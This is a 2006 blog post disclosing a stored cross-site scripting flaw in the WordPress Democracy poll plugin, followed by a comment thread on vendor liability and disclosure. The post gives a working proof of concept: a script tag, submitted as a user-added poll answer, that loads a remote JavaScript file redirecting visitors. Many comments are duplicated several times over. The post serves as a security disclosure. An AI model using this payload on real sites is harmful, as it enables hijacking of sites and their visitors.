Democracy Plugin XSS Vulnerability ALERT

by Aaron Brazell on September 22, 2006 · 98 comments

Last week, Darren McLaughlin scooped a story regarding the very popular Democracy plugin for Wordpress. You can read his findings about how the execution of the plugin may cause all of your sites pages to be dropped from search engine indexes.

When it rains it pours because last week, we discovered an XSS exploit in the plugin that can cause a website to be hijacked. To be clear, we discovered this because one of our b5media blogs was in fact hijacked. While in our case, the hack was not malicious and actually redirected the site to Google, the truth is that by exploiting this plugin, a malicious hacker could redirect a website to any website that could execute any malicious code and compromise security. It affects btoh Firefox and Internet Explorer. PLEASE TAKE THIS WARNING SERIOUSLY!

I have alerted the plugin author who has responded positively and promises a new version of Democracy 2.0, however I warned him that he had one week until I released details of the exploit. Andrew has just posted Democracy Public Beta 2. Cannot vouch for its security yet as it has literally just now been posted. Prelimnary testing indicates it’s okay though.

How To Exploit the Democracy 1.2 XSS Vulnerability

This is not a complex exploit.

I have created a javascript file called examplehack.js and placed it on my webserver. It simply redirects to a standard HTML page with a message. This could be any page containing any scripting.


window.location = "http://www.technosailor.com/examplehack.html"

To exploit the plugin, the blog owner must have a poll that allows user contributed answers. Simply “Adding an answer” with the following code (sample) will create a hijacked browser: <script src=http://technosailor/examplehack.js>test</script>

poll.png

Refresh and watch traffic get siphoned away.

Originally discovered by Duncan Riley.

{ 8 trackbacks }

What makes you happy ? » Plugins…..
September 22, 2006 at 9:11 pm
WordPress Democracy Plugin Exploit (and a New Version) at The Blog Herald
September 22, 2006 at 10:13 pm
Understanding Implications of WordPress Plugin Security » Technology, Blogging and New Media
September 23, 2006 at 1:18 pm
ha.ckers.org web application security lab - Archive » XSS Vulnerability in Democracy Wordpress Plugin
September 23, 2006 at 9:43 pm
Confusing Digg » Technology, Blogging and New Media
September 25, 2006 at 3:39 pm
How to Handle Security Flaws » Technology, Blogging and New Media
January 5, 2007 at 11:05 pm
The Secret Truth About The Plugins Security » Inspiration Bit
March 3, 2007 at 3:19 am
BlogSecurity » WordPress BlogWatch
July 26, 2007 at 3:15 pm

{ 90 comments }

1 drmike September 23, 2006 at 10:34 am

Podz: Don’t forget all those people over on the wp.com forums who keep saying that javascripts, embed, and object tags are safe as well. :)

2 drmike September 23, 2006 at 10:34 am

Podz: Don’t forget all those people over on the wp.com forums who keep saying that javascripts, embed, and object tags are safe as well. :)

3 drmike September 23, 2006 at 10:34 am

Podz: Don’t forget all those people over on the wp.com forums who keep saying that javascripts, embed, and object tags are safe as well. :)

4 drmike September 23, 2006 at 10:34 am

Podz: Don’t forget all those people over on the wp.com forums who keep saying that javascripts, embed, and object tags are safe as well. :)

5 drmike September 23, 2006 at 10:34 am

Podz: Don’t forget all those people over on the wp.com forums who keep saying that javascripts, embed, and object tags are safe as well. :)

6 podz September 23, 2006 at 10:46 am

drmike – I wasn’t saying they were safe. I’m talking about people who can code saying that other code is unsafe.

I’ve a challenge. If it will be accepted.

7 podz September 23, 2006 at 10:46 am

drmike – I wasn’t saying they were safe. I’m talking about people who can code saying that other code is unsafe.

I’ve a challenge. If it will be accepted.

8 podz September 23, 2006 at 10:46 am

drmike – I wasn’t saying they were safe. I’m talking about people who can code saying that other code is unsafe.

I’ve a challenge. If it will be accepted.

9 podz September 23, 2006 at 10:46 am

drmike – I wasn’t saying they were safe. I’m talking about people who can code saying that other code is unsafe.

I’ve a challenge. If it will be accepted.

10 podz September 23, 2006 at 10:46 am

drmike – I wasn’t saying they were safe. I’m talking about people who can code saying that other code is unsafe.

I’ve a challenge. If it will be accepted.

11 Leroy Brown September 25, 2006 at 8:58 am

It’s a shame that it always takes the public posting of the exploit for the author to fix the problem. Although I can’t be too hard on someone who creates a plugin at no cost, so I don’t know. Mixed feelings as usual.
Can you hold the author liable for any problems, even though his software is free? I’m not sure that it’s fair to do so.

12 Aaron Brazell September 25, 2006 at 9:40 am

Leroy: Technically, no you can’t hold an author liable. In reality though, he’s liable. That’s how anyone who would get exploited would feel. That’s how I would feel if I was hacked as a result. Fortunately, I was able to post the exploit with a link to a new version, so I’d like to think that I worked with Andrew to find a solution before it blew up.

13 Leroy Brown September 25, 2006 at 8:58 am

It’s a shame that it always takes the public posting of the exploit for the author to fix the problem. Although I can’t be too hard on someone who creates a plugin at no cost, so I don’t know. Mixed feelings as usual.
Can you hold the author liable for any problems, even though his software is free? I’m not sure that it’s fair to do so.

14 Leroy Brown September 25, 2006 at 8:58 am

It’s a shame that it always takes the public posting of the exploit for the author to fix the problem. Although I can’t be too hard on someone who creates a plugin at no cost, so I don’t know. Mixed feelings as usual.
Can you hold the author liable for any problems, even though his software is free? I’m not sure that it’s fair to do so.

15 Leroy Brown September 25, 2006 at 8:58 am

It’s a shame that it always takes the public posting of the exploit for the author to fix the problem. Although I can’t be too hard on someone who creates a plugin at no cost, so I don’t know. Mixed feelings as usual.
Can you hold the author liable for any problems, even though his software is free? I’m not sure that it’s fair to do so.

16 Leroy Brown September 25, 2006 at 8:58 am

It’s a shame that it always takes the public posting of the exploit for the author to fix the problem. Although I can’t be too hard on someone who creates a plugin at no cost, so I don’t know. Mixed feelings as usual.
Can you hold the author liable for any problems, even though his software is free? I’m not sure that it’s fair to do so.

17 Leroy Brown September 25, 2006 at 8:58 am

It’s a shame that it always takes the public posting of the exploit for the author to fix the problem. Although I can’t be too hard on someone who creates a plugin at no cost, so I don’t know. Mixed feelings as usual.
Can you hold the author liable for any problems, even though his software is free? I’m not sure that it’s fair to do so.

18 Aaron Brazell September 25, 2006 at 9:40 am

Leroy: Technically, no you can’t hold an author liable. In reality though, he’s liable. That’s how anyone who would get exploited would feel. That’s how I would feel if I was hacked as a result. Fortunately, I was able to post the exploit with a link to a new version, so I’d like to think that I worked with Andrew to find a solution before it blew up.

19 Aaron Brazell September 25, 2006 at 9:40 am

Leroy: Technically, no you can’t hold an author liable. In reality though, he’s liable. That’s how anyone who would get exploited would feel. That’s how I would feel if I was hacked as a result. Fortunately, I was able to post the exploit with a link to a new version, so I’d like to think that I worked with Andrew to find a solution before it blew up.

20 Aaron Brazell September 25, 2006 at 9:40 am

Leroy: Technically, no you can’t hold an author liable. In reality though, he’s liable. That’s how anyone who would get exploited would feel. That’s how I would feel if I was hacked as a result. Fortunately, I was able to post the exploit with a link to a new version, so I’d like to think that I worked with Andrew to find a solution before it blew up.

21 Aaron Brazell September 25, 2006 at 9:40 am

Leroy: Technically, no you can’t hold an author liable. In reality though, he’s liable. That’s how anyone who would get exploited would feel. That’s how I would feel if I was hacked as a result. Fortunately, I was able to post the exploit with a link to a new version, so I’d like to think that I worked with Andrew to find a solution before it blew up.

22 Aaron Brazell September 25, 2006 at 9:40 am

Leroy: Technically, no you can’t hold an author liable. In reality though, he’s liable. That’s how anyone who would get exploited would feel. That’s how I would feel if I was hacked as a result. Fortunately, I was able to post the exploit with a link to a new version, so I’d like to think that I worked with Andrew to find a solution before it blew up.

23 Leroy Brown September 25, 2006 at 1:25 pm

Aaron,
I may feel differently if one of my sites had been hacked – that’ll certainly give you a different perspective on the matter. Either way, it’s necessary to post the expoit so that a fix can be produced, whether by the author or someone else. Good to see that the author did come up with a fix, so that people had a solution instead of a freak-out period of waiting.

24 Leroy Brown September 25, 2006 at 1:25 pm

Aaron,
I may feel differently if one of my sites had been hacked – that’ll certainly give you a different perspective on the matter. Either way, it’s necessary to post the expoit so that a fix can be produced, whether by the author or someone else. Good to see that the author did come up with a fix, so that people had a solution instead of a freak-out period of waiting.

25 Leroy Brown September 25, 2006 at 1:25 pm

Aaron,
I may feel differently if one of my sites had been hacked – that’ll certainly give you a different perspective on the matter. Either way, it’s necessary to post the expoit so that a fix can be produced, whether by the author or someone else. Good to see that the author did come up with a fix, so that people had a solution instead of a freak-out period of waiting.

26 Leroy Brown September 25, 2006 at 1:25 pm

Aaron,
I may feel differently if one of my sites had been hacked – that’ll certainly give you a different perspective on the matter. Either way, it’s necessary to post the expoit so that a fix can be produced, whether by the author or someone else. Good to see that the author did come up with a fix, so that people had a solution instead of a freak-out period of waiting.

27 Leroy Brown September 25, 2006 at 1:25 pm

Aaron,
I may feel differently if one of my sites had been hacked – that’ll certainly give you a different perspective on the matter. Either way, it’s necessary to post the expoit so that a fix can be produced, whether by the author or someone else. Good to see that the author did come up with a fix, so that people had a solution instead of a freak-out period of waiting.

28 Leroy Brown September 25, 2006 at 1:25 pm

Aaron,
I may feel differently if one of my sites had been hacked – that’ll certainly give you a different perspective on the matter. Either way, it’s necessary to post the expoit so that a fix can be produced, whether by the author or someone else. Good to see that the author did come up with a fix, so that people had a solution instead of a freak-out period of waiting.

29 MustLive September 26, 2006 at 6:03 pm

Aaron. As I wrote at my site http://websecurity.com.ua/187/ two weeks ago, I was found a vulnerability in Subscribe To Comments WordPress plugin (and already released the path and plugin developer also worked on next version of plugin). So there are many other cases (among WordPress plugins) with plugin’s vulnerabilities, not only in Democracy plugin. And as I see, you also use Subscribe To Comments at your site, so you need to draw attention to this information (and check your plugin).

30 MustLive September 26, 2006 at 6:30 pm

Aaron. You have already validated my message and then I retrieved my “key” (it need for your version of wp-subscription-manager.php). And after looking to one of the vulnerable scripts (in this case – wp-subscription-manager.php), I can tell you that your site is vulnerable (via Subscribe To Comments plugin)!

You need to update plugin. You can take Subscribe To Comments 2.0.5 from my MustLive Security Pack v.1.0.4 or download last version (Subscribe To Comments 2.0.8) from developer’s site.

31 MustLive September 26, 2006 at 6:03 pm

Aaron. As I wrote at my site http://websecurity.com.ua/187/ two weeks ago, I was found a vulnerability in Subscribe To Comments WordPress plugin (and already released the path and plugin developer also worked on next version of plugin). So there are many other cases (among WordPress plugins) with plugin’s vulnerabilities, not only in Democracy plugin. And as I see, you also use Subscribe To Comments at your site, so you need to draw attention to this information (and check your plugin).

32 MustLive September 26, 2006 at 6:03 pm

Aaron. As I wrote at my site http://websecurity.com.ua/187/ two weeks ago, I was found a vulnerability in Subscribe To Comments WordPress plugin (and already released the path and plugin developer also worked on next version of plugin). So there are many other cases (among WordPress plugins) with plugin’s vulnerabilities, not only in Democracy plugin. And as I see, you also use Subscribe To Comments at your site, so you need to draw attention to this information (and check your plugin).

33 MustLive September 26, 2006 at 6:03 pm

Aaron. As I wrote at my site http://websecurity.com.ua/187/ two weeks ago, I was found a vulnerability in Subscribe To Comments WordPress plugin (and already released the path and plugin developer also worked on next version of plugin). So there are many other cases (among WordPress plugins) with plugin’s vulnerabilities, not only in Democracy plugin. And as I see, you also use Subscribe To Comments at your site, so you need to draw attention to this information (and check your plugin).

34 MustLive September 26, 2006 at 6:03 pm

Aaron. As I wrote at my site http://websecurity.com.ua/187/ two weeks ago, I was found a vulnerability in Subscribe To Comments WordPress plugin (and already released the path and plugin developer also worked on next version of plugin). So there are many other cases (among WordPress plugins) with plugin’s vulnerabilities, not only in Democracy plugin. And as I see, you also use Subscribe To Comments at your site, so you need to draw attention to this information (and check your plugin).

35 MustLive September 26, 2006 at 6:03 pm

Aaron. As I wrote at my site http://websecurity.com.ua/187/ two weeks ago, I was found a vulnerability in Subscribe To Comments WordPress plugin (and already released the path and plugin developer also worked on next version of plugin). So there are many other cases (among WordPress plugins) with plugin’s vulnerabilities, not only in Democracy plugin. And as I see, you also use Subscribe To Comments at your site, so you need to draw attention to this information (and check your plugin).

36 MustLive September 26, 2006 at 6:30 pm

Aaron. You have already validated my message and then I retrieved my “key” (it need for your version of wp-subscription-manager.php). And after looking to one of the vulnerable scripts (in this case – wp-subscription-manager.php), I can tell you that your site is vulnerable (via Subscribe To Comments plugin)!

You need to update plugin. You can take Subscribe To Comments 2.0.5 from my MustLive Security Pack v.1.0.4 or download last version (Subscribe To Comments 2.0.8) from developer’s site.

37 MustLive September 26, 2006 at 6:30 pm

Aaron. You have already validated my message and then I retrieved my “key” (it need for your version of wp-subscription-manager.php). And after looking to one of the vulnerable scripts (in this case – wp-subscription-manager.php), I can tell you that your site is vulnerable (via Subscribe To Comments plugin)!

You need to update plugin. You can take Subscribe To Comments 2.0.5 from my MustLive Security Pack v.1.0.4 or download last version (Subscribe To Comments 2.0.8) from developer’s site.

38 MustLive September 26, 2006 at 6:30 pm

Aaron. You have already validated my message and then I retrieved my “key” (it need for your version of wp-subscription-manager.php). And after looking to one of the vulnerable scripts (in this case – wp-subscription-manager.php), I can tell you that your site is vulnerable (via Subscribe To Comments plugin)!

You need to update plugin. You can take Subscribe To Comments 2.0.5 from my MustLive Security Pack v.1.0.4 or download last version (Subscribe To Comments 2.0.8) from developer’s site.

39 MustLive September 26, 2006 at 6:30 pm

Aaron. You have already validated my message and then I retrieved my “key” (it need for your version of wp-subscription-manager.php). And after looking to one of the vulnerable scripts (in this case – wp-subscription-manager.php), I can tell you that your site is vulnerable (via Subscribe To Comments plugin)!

You need to update plugin. You can take Subscribe To Comments 2.0.5 from my MustLive Security Pack v.1.0.4 or download last version (Subscribe To Comments 2.0.8) from developer’s site.

40 MustLive September 26, 2006 at 6:30 pm

Aaron. You have already validated my message and then I retrieved my “key” (it need for your version of wp-subscription-manager.php). And after looking to one of the vulnerable scripts (in this case – wp-subscription-manager.php), I can tell you that your site is vulnerable (via Subscribe To Comments plugin)!

You need to update plugin. You can take Subscribe To Comments 2.0.5 from my MustLive Security Pack v.1.0.4 or download last version (Subscribe To Comments 2.0.8) from developer’s site.

Comments on this entry are closed.

Previous post: Why Release Software Vulnerability Details?

Next post: Legos